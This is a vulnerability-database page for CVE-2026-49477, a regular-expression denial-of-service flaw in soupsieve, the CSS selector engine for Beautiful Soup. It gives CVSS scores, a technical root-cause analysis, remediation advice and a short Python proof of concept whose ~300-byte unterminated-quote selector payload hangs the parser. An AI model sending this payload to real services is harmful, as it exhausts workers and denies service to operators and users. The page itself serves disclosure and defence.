Skip to main content

soupsieve CVE-2026-49477

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-09 https://github.com/facelessuser/soupsieve GHSA-836r-79rf-4m37
7.5
CVSS 3.1 · Vendor: https://github.com/facelessuser/soupsieve
Share

Severity by source

Vendor (https://github.com/facelessuser/soupsieve) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Remote low-complexity ReDoS needing no auth or interaction where untrusted selectors are compiled; availability-only impact gives C:N/I:N/A:H with scope unchanged.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/facelessuser/soupsieve).

CVSS VectorVendor: https://github.com/facelessuser/soupsieve

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

1
Analysis Generated
Jul 09, 2026 - 14:24 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 pypi packages depend on soupsieve (8 direct, 3 indirect)

Ecosystem-wide dependent count for version 2.8.4.

DescriptionCVE.org

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

  1. Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
  2. Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
  3. Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics:

  • Input size: Only 300 bytes are needed to trigger a >3 second hang
  • Amplification: Each additional character approximately doubles the backtracking time
  • No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

python
import time
import soupsieve as sv

PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)
# WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

python
import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)
# 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)
# Cancel the alarm

Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

  1. Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
  2. No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
  3. Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
  4. Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
ParameterValue
Input size300 bytes
CPU time consumed>3 seconds (exponential with payload length)
Memory consumedNegligible (CPU-only attack)
Authentication requiredNone
User interaction requiredNone

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.

---

Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

AnalysisAI

Denial of service in soupsieve, the CSS selector engine bundled with Beautiful Soup 4, lets remote attackers hang a worker thread by submitting a ~300-byte attribute selector with an unterminated quoted value (e.g. '[a="xxxx...'), triggering catastrophic regular-expression backtracking in the VALUE pattern of css_parser.py. Any Python service that passes untrusted selector strings to soupsieve.compile() or Beautiful Soup's .select()/.select_one() is affected, and each added byte roughly doubles CPU time, so a handful of concurrent requests can exhaust all workers. Publicly available exploit code exists (a working PoC is embedded in the advisory), but no exploit is identified as being used in active attacks and it is not listed in CISA KEV.

Technical ContextAI

soupsieve tokenises CSS attribute-selector values with a single compiled regular expression (RE_VALUES / VALUE, around line 121 of css_parser.py) offering alternation branches for double-quoted strings ("[^"\\]*(?:\\.[^"\\]*)*"), single-quoted strings, and unquoted identifiers. This is the classic CWE-400 (Uncontrolled Resource Consumption) root-cause class realised as a ReDoS: the quoted-string branches use nested, overlapping character classes with no anchor guarding the never-terminated case, so when the closing quote is absent the engine repeatedly re-partitions the long run of characters between alternatives and parent patterns, and the number of backtracking steps grows exponentially with input length. Because soupsieve is the mandatory selector backend for beautifulsoup4 (CPE pkg:pip/soupsieve), the same code path is reached transparently through Beautiful Soup's high-level .select() API. The attack is compute-bound only - it burns CPU on the calling thread and consumes negligible memory.

RemediationAI

Patch available per vendor advisory (GHSA-836r-79rf-4m37); the provided data does not include an exact fixed version, so upgrade soupsieve to the fixed release named in the advisory at https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37 and verify that version there before deploying. Because soupsieve is pulled in transitively by beautifulsoup4, update the transitive pin, not just direct dependencies. Where immediate patching is not possible and the application accepts user-supplied selectors, the most effective compensating control is to stop passing untrusted input to soupsieve.compile()/.select()/.select_one() - validate selectors against a strict allowlist or reject any selector containing an unbalanced quote before compilation (trade-off: code changes required and some legitimate exotic selectors may be rejected). As defence-in-depth, run selector compilation under a hard timeout or in a separate cancellable worker/process and enforce a tight length cap on selector input (trade-off: signal/thread-based timeouts add complexity and per-call overhead, and length caps can break legitimate long selectors). None of these should replace upgrading once the fixed version is confirmed.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Fixed
SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS Fixed
SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS Fixed

Share

CVE-2026-49477 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy